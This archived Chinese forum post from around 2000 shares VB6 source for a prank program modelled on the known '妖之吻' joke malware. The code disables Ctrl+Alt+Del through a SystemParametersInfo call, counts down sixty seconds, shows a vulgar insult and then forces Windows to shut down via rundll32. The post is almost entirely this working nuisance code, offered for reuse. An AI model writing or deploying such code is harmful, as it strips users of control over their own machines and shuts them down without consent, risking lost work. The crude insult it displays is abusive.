精华区 [关闭][返回]

当前位置:网易精华区>>讨论区精华>>电脑技术>>● 计算机安全>>◇程序代码◇>>我对“妖之吻”类似的部分原理实现的程序

主题:我对“妖之吻”类似的部分原理实现的程序
发信人: pyms()
整理人: (2000-04-08 10:17:51), 站内信件
VB6.0 程序
先搞个label1显示字符控件

Public Declare Function SystemParametersInfo Lib "user32" Alias "Syste
mParametersInfoA" (ByVal uAction As Long, ByVal uParam As Long, ByRef 
lpvParam As Any, ByVal fuWinIni As Long) As Long
'在一个模块中声明函数

Private Sub Form_Load()
SystemParametersInfo 97, True, ByVal 1&, 0
End Sub
'以上是封Ctrl+Alt+Del

'主程序区
Private Sub Timer1_Timer() '时间控件
Static a As Integer
b = 60
a = a - 1
c = a + b                 '倒计时60秒
Select Case c
Case Is > 0
Label1.Caption = c     'label1显示c的值
Case Is <= 0
Label1.Caption = "问候你老娘"
Shell"rundll32.exe user.exe,exitwindows" '关机
End Select
End Sub

--
※ 来源:.月光软件站 http://www.moon-soft.com.[FROM: 202.104.36.57]

[关闭][返回]